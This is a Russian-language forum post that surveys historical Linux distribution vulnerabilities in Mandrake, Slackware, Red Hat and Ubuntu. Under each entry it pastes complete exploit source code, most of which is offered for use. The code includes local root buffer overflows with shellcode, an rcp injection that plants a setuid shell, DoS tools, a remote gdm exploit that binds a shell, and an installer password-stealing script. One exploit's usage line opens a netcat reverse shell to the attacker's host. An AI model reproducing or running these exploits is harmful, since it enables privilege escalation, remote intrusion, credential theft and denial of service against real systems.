Mandrake Linux 7.0
Mandrake Linux 7.1
Mandrake Linux 6.0
Mandrake Linux 6.1

Ошибка форматной строки в lpd, причем последний работает как suid root. Кроме того ошибки форматной строки и преобразования данных в lpr.

LPRng/Linux remote root lpd exploit
LPRng remote root exploit for x86 Linux, tested on compiled LPRng 3.6.22/23/24
REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0)


Удаленный root через rpc.statd

Затронутые продукты:
Mandrake Linux 7.0

Ошибка форматной строки приводит к возможности выплонения кода с привилегиями root.

nfs.statd remote root Linux/PowerPC exploit
nfs.statd remote root Linux/i386 exploit
rpc.statd linux exploit by ron1n
rpc.statd updated linux exploit (ron1n)


[ Обзор уязвимостей Slackware Linux ]

Сайт разработчика: www.slackware.com

Переполнение буфера в fdmount

Затронутые продукты:
Slackware Linux 4.0
Slackware Linux 7.0
Slackware Linux 3.3
Slackware Linux 3.4
Slackware Linux 3.5
Slackware Linux 3.6
Slackware Linux 3.9

fdmount Slackware 4/7 local exploit (Cami)

Код:
/*
   Welcome dear reader - be it scriptkiddy, whose sole intent it is to
   destroy precious old Unix boxes or Assembly Wizard whose sole intent it
   is to correct my code and send me a flame.

   The fdutils package contains a setuid root file that is used by the floppy
   group to mount and unmount floppies. If you are not in this group, this
   exploit will not work.

   This thingy was tested on Slackware 4.0 and 7.0

   Use as: fdmount-exp [offset] [buf size] [valid text ptr]

   Since the char * text is overwritten in void errmsg(char *text) we should
   make sure that this points to a valid address (something in the .data
   section should do perfectly). The hard coded one used works on my box,
   to find the one you need use something like:

   objdump --disassemble-all $(whereis -b fdmount) | grep \<.data\> \
   cut -d " " -f1

   The HUGE number of nops is needed to make sure this exploit works.
   Since it Segfaults out of existence without removing /etc/mtab~ we
   only get one try...

   Take care with your newly aquired EUID 0!

   Cheers go out to: #phreak.nl #b0f #hit2000 #root66
   The year 2000 scriptkiddie award goed to: Gerrie Mansur
   Love goes out to: Hester, Maja (you're so cute!), Dopey

   -- Yours truly,
  Scrippie - ronald@grafix.nl - buffer0verfl0w security
                                            - #phreak.nl
*/

#include <stdio.h>

#define NUM_NOPS 500

// Gee, Aleph1 his shellcode is back once more

char shellcode[] =
   "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp, %eax");
}

main(int argc, char **argv)
{
   int buf_size = 71;
   int offset=0, i;

   char *overflow;
   char *ovoff;
   long addr, ptr=0x0804c7d0;

   if(argc>1) offset = atoi(argv[1]);
   if(argc>2) buf_size = atoi(argv[2]);
   if(argc>3) ptr = strtol(argv[3], (char **) NULL, 16);

   printf("##############################################\n");
   printf("# fdmount Slack 4/7 exploit  -  by Scrippie  #\n");
   printf("##############################################\n");
   printf("Using offset: %d\n", offset);
   printf("Using buffer size: %d\n", buf_size);
   printf("Using 0x%x for \"void errmsg(char *text,...)\" char *text\n", ptr);

   if(!(overflow = (char *)malloc(buf_size+16+NUM_NOPS+strlen(shellcode)))) {
      fprintf(stderr, "Outta memory - barging out\n");
      exit(-1);
   }

   overflow[0] = '/';

   for(i=1;i<buf_size;i++) {
      overflow[i] = 0x90;
   }

   addr = get_sp() - offset;

   printf("Resulting address: 0x%x\n", addr);

   memcpy(overflow + strlen(overflow), (void *) &addr, 4);
   memcpy(overflow + strlen(overflow), (void *) &ptr, 4);
   memcpy(overflow + strlen(overflow), (void *) &ptr, 4);
   memcpy(overflow + strlen(overflow), (void *) &ptr, 4);

   ovoff = overflow + strlen(overflow);

   for(i=0;i<NUM_NOPS;i++) {
      *ovoff = 0x90;
      *ovoff++;
   }

   strcpy(ovoff, shellcode);

   execl("/usr/bin/fdmount", "fdmount", "fd0", overflow, NULL);

   return 0;
}
/*                    www.hack.co.za           [18 May]*/

fdmon Slackware 7 exploit (Paulo Ribeiro)

Код:
/*
 * fdmount 0.8 buffer-overflow exploit (fd-ex.c)
 * (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
 *
 * Systems tested: Slackware Linux 7.0
 *
 * Remember: you have to be a member of floppy group to exploit it!
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             180
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/usr/bin/fdmount fd0 $RET");
}

/* fd-ex.c: EOF */


Переполнение буфера в mailx

Затронутые продукты:
Slackware Linux 7.0

Переполнение буфера в обработке параметра -c дает возможность получить привилегии группы mail в системах, где mail установлен с sgid.

Код:
#define PATH "/usr/bin/Mail"    // mail path. (maybe /bin/mail or /usr/bin/mail)
#define SIZE 1100               // change this to 8300 on slackware7/etc.
#define DEFAULT_OFFSET 650      // default offset, this worked on both bufsizes.

static char exec[]=             // from a elm exploit. (crazy, huh?)
 "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0\x47\xcd\x80\x31\xdb"
 "\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
 "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
 "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char bof[SIZE];
 int i,offset;
 long ret;
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(esp()+offset); // i'll be "normal" this time and add. :)
 printf("return address: 0x%lx, offset: %d.\ntype \".\" and press enter to overwrite the eip and spawn a shell.\n\n",ret,offset);
 for(i=0;i<SIZE;i+=4){*(long *)&bof[i]=ret;}
 for(i=0;i<(SIZE-strlen(exec)-200);i++){*(bof+i)=0x90;}
 memcpy(bof+i,exec,strlen(exec));
 if(execlp(PATH,"Mail","-s","x","-c",bof,"x",0)){printf("%s: failed, you sure the path is correct?\n",PATH);}}


Переполнение буфера в efstool на Slackware (buffer overflow)

Затронутые продукты:
Slackware Linux 7.1

Переполнение буфера при разборе аргументов коммандной строки.

Код:
/* efstool.c - efstool/bof simple overflow in efstool, 
 *
 *
 * This code is published propterty of CloudAss, you may
 * duplicate this in any shape or form without prior written
 * permission from CloudAss.
 *
 * Bug discovered by ntfx, just figured I'd code a decent
 * exploit for it.
 *
 *
 * DISCLAIMER - I am in no way affiliated with ntfx or any members of 
 * soldierx or legion2002 security.
 *
 * Usage: ./efsroot offset - bruteforce if neccesary
 *
 * Bug is pretty stupid, and simple, I have yet to see it give root.
 * efstool is not +s on slackware 8.0 , it should spawn a shell
 * regardless.
 * 
 * (C) COPYRIGHT CloudAss , 2002
 * all rights reserved
 ***********************************************************************
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define SIZE 3000  	
#define NOP 0x90  
#define PATH "/opt/gnome/bin/efstool"	

//--------------------------------------------------
long get_esp(void){ __asm__("movl %esp,%eax\n");}
//--------------------------------------------------

char shellcode[]=
   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" 
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[]) {
	char buffer[SIZE];
	long retaddr, offset;
	int i;

	offset = atoi(argv[1]);
	retaddr = get_esp() + offset;

	for(i=0; i < SIZE; i+=4)
  	*(long *)&buffer[i] = retaddr;

	for(i=0; i < strlen(shellcode); i++)
  *(buffer+i) = NOP;

	memcpy(buffer+i, shellcode, strlen(shellcode));
	execl(PATH, "efstool", buffer, 0);
	return 0;
}
 
[ Обзор уязвимостей Rad Hat Linux ]

Дырка в rcp (unparsed shell characters) в linux

Затронутые продукты:
Red Hat Linux 6.2

Некорректный разбор метасимволов.

Код:
#!/usr/bin/perl -w
# exploits suid priveldges on rpc
# Not really tested this but hey
# works on redhat6.2
# not werk on freebsd4.1 stable
#
# bug discovered by
# Andrew Griffiths
#
# Exploit written by tlabs
# greetz to those that know me innit
#
# Please set your rcpfile
# this can be found by doing
#
# ls -alF 'which rcp'
#
# have a lot of fun

$RCPFILE="/usr/bin/rcp";

# configure above innit



sub USAGE
{
    print "$0\nWritten by Tlabs\n";
    exit 0;
}

if ( ! -u "$RCPFILE" )
{
    printf "rcp is not suid, quiting\n";
    exit 0;
}

open(TEMP, ">>/tmp/shell.c")|| die "Something went wrong: $!";
printf TEMP "#include<unistd.h>\n#include<stdlib.h>\nint main()\n{";
printf TEMP "    setuid(0);\n\tsetgid(0);\n\texecl(\"/bin/sh\",\"sh\",0);\n\treturn 0;\n}\n";
close(TEMP);
open(HMM, ">hey")|| die "Something went wrong: $!";
print HMM "Sploit written by tlabs, thanks to Andrew Griffiths for the bug report";
close(HMM);

system "rcp 'hey geezer; gcc -o /tmp/shell /tmp/shell.c;' localhost 2> /dev/null";
system "rcp 'hey geezer; chmod +s /tmp/shell;' localhost 2> /dev/null";
unlink("/tmp/shell.c");
unlink("hey");
unlink("geezer");
printf "Ok, too easy, we'll just launch a shell, lets hope shit went well innit:)\n";

exec '/tmp/shell';


Атаки через tmpwatch

Затронутые продукты:
RedHat Linux 6.1
Red Hat Linux 6.2
Red Hat Linux 7.0

При удалении каталога tmpwatch запускает отдельный процесс на каждый уровень вложенности. Это позволяет вызвать остановку системы, создав временную директорию с большим уровенм вложенности. Кроме того, при вызове внешнего приложения не проверяются shell-символы в имени файла.

Код:
// 
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
{
 int c=0,d=0;
 if (argc!=2) 
 {
  while(!chdir("./A"))c++;
  chdir("..");
  printf("c=%d  removing\n",c);
  while(!rmdir("./A")) {chdir("..");c--;}
  if(c)printf("erm. bad thing.\n");
 }
 else
 {
  c=atoi(argv[1]);
  printf("c=%d  making.\n",c);
  while(c--)
  {
   mkdir("./A",0777);
   chdir("./A");
  } 
 }
}


NAPTHA - DoS через открытые/полуоткрытые соединения

Затронутые продукты:
Red Hat Linux 7.0

Различные сервисы в разных ОС перестают обслуждивать пользователей если установлено более определенного числа TCP-соединений.

Код:
/*  S.I.N.N. - Sinn Is Not Naphta
 *
 * By Bruno Morisson <morisson@genhex.org>
 *       http://www.genhex.org
 *
 * DISCLAIMER:
 *  S.I.N.N. is a research DoS tool. It was coded based
 * on the very little info on a DoS attack described by
 * a BindView advisory, at
 * http://razor.bindview.com/publish/advisories/adv_NAPTHA.html
 *  This Software is provided AS IS, with NO WARRANTY,
 * WHATSOEVER! You use it at your own risk. I take no
 * responsability for whatever you use this for. It may
 * not work, it may destroy your computer, it may destroy
 * others' computers, it may put you in jail,
 * it may kill you, it may make your hair fall.
 * You have been warned. By using
 * this software you agree to use it ONLY for research
 * purposes, and on your own risk.
 *
 *
 * To compile:
 *  build the packet injector:
 *   cc 'libnet-config --defines' -o sinn sinn.c 'libnet-config --libs'
 *  then build the packet reply daemon:
 *   cc 'libnet-config --defines' -D_DAEMON_ -o sinnd sinn.c -lpcap \
 *    'libnet-config --libs'
 *
 */

#include <pcap.h>
#include <libnet.h>
#include <signal.h>


int inject(int sock, u_long src_ip, u_long dst_ip,
           u_short src_prt, u_short dst_prt,u_long id,
           u_long seq, u_long ack, u_char flags) {

  int packet_size;
  u_char *packet;

  packet_size = LIBNET_IP_H + LIBNET_TCP_H;

  libnet_init_packet(packet_size, &packet);

  if(!packet)
    libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");

  libnet_build_ip(LIBNET_TCP_H, IPTOS_LOWDELAY,
            id, 0, 1, IPPROTO_TCP, src_ip, dst_ip,
            NULL, 0, packet);

    libnet_build_tcp(src_prt, dst_prt, seq, ack,
            flags, 512, 0, NULL, 0, packet + LIBNET_IP_H);


  libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H);
  libnet_write_ip(sock, packet, packet_size);
  libnet_destroy_packet(&packet);
}


#ifdef _DAEMON_
void pcap(char *iface,u_long source, u_long dest, u_short dport){

  int sock;
  struct pcap_pkthdr *hdr;
  char errbuf[PCAP_ERRBUF_SIZE];
  u_char *pacote;
  struct libnet_ip_hdr  *ip;
  struct libnet_tcp_hdr *tcp;
  pcap_t *descritor;
  u_long id, seq ,ack;
  u_short port;
  u_char flags;

  pacote= (u_char *)malloc(3000);
  hdr = (struct pcap_pkthdr *)malloc(sizeof(struct pcap_pkthdr));
  descritor = pcap_open_live(iface,1500,1,0,errbuf);

  if((sock = libnet_open_raw_sock(IPPROTO_RAW))==-1)
      libnet_error(LIBNET_ERR_FATAL, "Error opening socket.\n");

  do{
    pacote = (u_char *)pcap_next(descritor,hdr);
    if(pacote!=NULL) {
      ip=(struct libnet_ip_hdr *)(pacote+LIBNET_ETH_H);
      tcp=(struct libnet_tcp_hdr *)(pacote+LIBNET_IP_H+LIBNET_ETH_H);

      if((ip->ip_src.s_addr==dest)&&(tcp->th_sport==htons(dport))&&((tcp->th_flags==(TH_SYN|TH_ACK)))) {
       id=ntohl(ip->ip_id);
       seq=ntohl(tcp->th_ack);
       ack=ntohl(tcp->th_seq)+1;
       flags=TH_ACK;
       inject(sock,ip->ip_dst.s_addr,ip->ip_src.s_addr,
              ntohs(tcp->th_dport),ntohs(tcp->th_sport),
              id,seq,ack,flags);
      }
    }
  } while(1);
  free(hdr);

}



int main(int argc, char **argv) {

 u_long src_ip, dst_ip;
 u_short dst_prt;

 if(argc<5) {
  fprintf(stderr,"usage: %s <src ip> <victim ip> <victim port> <iface>\n",argv[0]);
  exit(-1);
 }


 src_ip=inet_addr(argv[1]);
 dst_ip=inet_addr(argv[2]);
 dst_prt=atoi(argv[3]);


 signal(SIGCHLD,SIG_IGN);
 close(STDIN_FILENO);
 close(STDOUT_FILENO);
 close(STDERR_FILENO);

 if(!fork())
   pcap(argv[4],src_ip,dst_ip, dst_prt);

 exit(0);
}


#else
int main(int argc, char **argv) {

 int sock;
 u_long src_ip, dst_ip;
 u_short src_prt, dst_prt;
 u_long id=666,seq=100,ack=0;
 u_long counter=0;
 int packets=0;
 pid_t pid;

 if(argc<6) {
  fprintf(stderr,"usage: %s <src ip> <src port> <victim ip> <victim port> <connections>\n",argv[0]);
  exit(-1);
 }

 src_ip=inet_addr(argv[1]);
 src_prt=atoi(argv[2]);
 dst_ip=inet_addr(argv[3]);
 dst_prt=atoi(argv[4]);
 packets=atoi(argv[5]);

 printf("Creating %d connections\n",packets);

 if((sock = libnet_open_raw_sock(IPPROTO_RAW))==-1)
   libnet_error(LIBNET_ERR_FATAL, "Error opening socket.\n");


 while(packets--) {
   inject(sock,src_ip,dst_ip,src_prt++,
     dst_prt,id++,seq++,0,TH_SYN);
   printf("%d ",counter++);
   fflush(stdout);
   sleep(1);
 }

 libnet_close_raw_sock(sock);
 sleep(2);
}
#endif


Локальный DoS против RH Linux

Затронутые продукты:
RedHat Linux 6.0

Команда kill -9 -1 (pid) приводит к полному зависанию оконного менеджера.


Удаленная дырка в gdm (Gnome)

Затронутые продукты:
RedHat Linux 6.2
RedHat Linux 6.3

Классическое переполнение буфера, позволяет получить привелегии root если gdm прослушивает порт UDP/177 (по-умолчанию выключено в большинстве систем).

Код:
/*
 *             gdm (xdmcp) exploit
 *         written 05/2000 by AbraxaS
 *
 *     abraxas@sekure.de && www.sekure.de
 *
 *
 * Tested on:  SuSE 6.2 / gdm-2.0beta1-4,
 *           RedHat 6.2 / gdm-2.0beta2
 *
 * Offsets: Worked with offsets between 0 and 300
 *
 * Usage: gdmexpl [target] [offset]
 *
 * Note: Just a proof of concept.
 *
 * Greetings to: dies, grue, lamagra & (silly) peak
 */


#include <stdio.h>
#include <strings.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>

#define NOP 0x90

/* lammys bind shell code / binds a shell to port 3879 */
char code[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";


int resolve (char *denise)
{
  struct hostent *info;
  unsigned long ip;

  if ((ip=inet_addr(denise))==-1)
  {
    if ((info=gethostbyname(denise))==0)
    {
      printf("Couldn't resolve [%s]\n", denise);
      exit(0);
    }
    memcpy(&ip, (info->h_addr), 4);
  }
  return (ip);
}


int main (int argc, char **argv)
{
  char uhm;
  int nadine;
  short blah[6];
  char buffy[1400]; /* you might make this buffer bigger to increase the
                       probability to hit the right addy. making the
                       buffer too big could destroy the code though */
  unsigned long addy;
  struct sockaddr_in stephanie;
  char big_buffy[sizeof(buffy)+12];

  if (argc < 3)
  {
    printf("\nGDM 2.0betaX exploit by AbraxaS (abraxas@sekure.de)"
           "\nUsage: %s [target] [offset]\n", argv[0]);
    exit(0);
  }

  addy = 0xbffff8c0-atoi(argv[2]);

  stephanie.sin_family = AF_INET;
  stephanie.sin_port = htons (177);
  stephanie.sin_addr.s_addr = resolve(argv[1]);
  nadine = socket (AF_INET, SOCK_DGRAM, 0);

  if (connect(nadine,(struct sockaddr *)&stephanie,sizeof(struct
sockaddr))<0)
  {
    perror("Connect"); exit(0);
  }

  /* filling buffer.buffy with NOPs */
  memset(buffy, NOP, sizeof(buffy));
  /* cleaning buffer.big_buffy */
  bzero(big_buffy, sizeof(big_buffy));

  /*
   *   creating XDMCP header
   */

  /* XDM_PROTOCOL_VERSION */
  blah[0] = htons(1);
  /* opcode "FORWARD_QUERY" */
  blah[1] = htons(4);
  /* length (checksum)*/
  blah[2] = htons(5+sizeof(buffy)); /* see checksum algorithm */
  /* length of display buffer */
  blah[3] = htons(sizeof(buffy));
  /* display port */
  blah[4] = htons(0);
  /* authlist */
  blah[5] = htons(0);

  *(short *)&big_buffy[0]=blah[0];
  *(short *)&big_buffy[2]=blah[1];
  *(short *)&big_buffy[4]=blah[2];
  *(short *)&big_buffy[6]=blah[3];
  *(short *)&big_buffy[sizeof(buffy)+8]=blah[4];
  *(short *)&big_buffy[sizeof(buffy)+10]=blah[5];


  /* writing shellcode */
  memcpy(buffy+sizeof(buffy)-strlen(code), code, strlen(code));

  /* fixing some stuff */
  *(long *)&buffy[0] = 0x0100007f; /* source address, not neccessary */
  *(long *)&buffy[4] = 0x00000000; /* cleaning clnt_authlist */
  *(long *)&buffy[8] = 0x00000000;

  /* writing own RET address */
  *(long *)&buffy[32]=addy;

  /* copying buffy into big_buffy */
  memcpy(big_buffy+8, buffy, sizeof(buffy));

  /* sending big_buffy */
  write(nadine, big_buffy, sizeof(big_buffy));

  printf("\nConnect to %s, port 3879 now.", argv[1]);
  printf("\nBut behave :) --abraxas\n");

  close(nadine);

}


Про убунту мало....

[ Обзор уязвимостей Ubuntu Linux ]

Сайт разработчика: www.ubuntu.com

Ubuntu Breezy 5.10 Installer Password Disclosure Vulnerability

Код:
#!/usr/bin/perl -w

use warnings;
use strict;

##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606
##############################################################################

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";

print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{ 
  print "Yes\nNow checking if readable...";
  if ( -r $file1 )
  {
    getinfo($file1);
  }
  else
  {
    if ( -r $file2 ) {
      getinfo($file2);
    }
    else {
      print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
      exit(-2);
    }
  }
}
else
{
  print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
  exit(-1);
}

sub getinfo {
  my $fn = shift;
  print "Yes\nHere come the details...\n\n";
  my $realname = 'grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'';
  my $user = 'grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'';
  my $pass = 'grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'';
  chomp($realname);
  chomp($user);
  chomp($pass);
  print "Real Name: $realname\n";
  print "Username: $user\n";
  print "Password: $pass\n";
}

# milw0rm.com [2006-03-12]


Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit

Код:
/*
  :: Kristian Hermansen ::
  Date: 20070229
  Description: Local attacker can influence Apache to direct commands
    into an open tty owned by user who started apache process, usually root.
    This results in arbitrary command execution.
  Affects: Apache 1.3.33/1.3.34 on Debian Stable/Testing/Unstable/Experimental     and Ubuntu Warty (4.10)/Hoary (5.04)/Breezy (5.10)/Dapper (6.06)
    Edgy (6.10), Feisty (7.04).
  Notes: Must have CGI execution privileges and
    service started manually by root via shell.
    Also try adding "Options +ExecCGI" to your .htaccess file.
  Compile: gcc -o /path/to/cgi-bin/cgipwn cgipwn.c
  Usage: nc -vvv -l -p 31337
    http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d
  u53l355 gr33t5: yawn, jellyfish, phzero, pegasus, b9punk, phar, shardy,
    benkurtz, ... and who could forget ... setient (the gremlin)!!
*/

#include <fcntl.h>
#include <sys/ioctl.h>

int main(int argc, char *argv[]) {
  int pts = open("/dev/tty",O_RDONLY);
  while(*argv[1] != '\0') {
    ioctl(pts,TIOCSTI,argv[1]);
    argv[1]++;
  }
  return 0;
}

// milw0rm.com [2007-02-28]


Ubuntu 6.06 DHCPd bug Remote Denial of Service Exploit
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх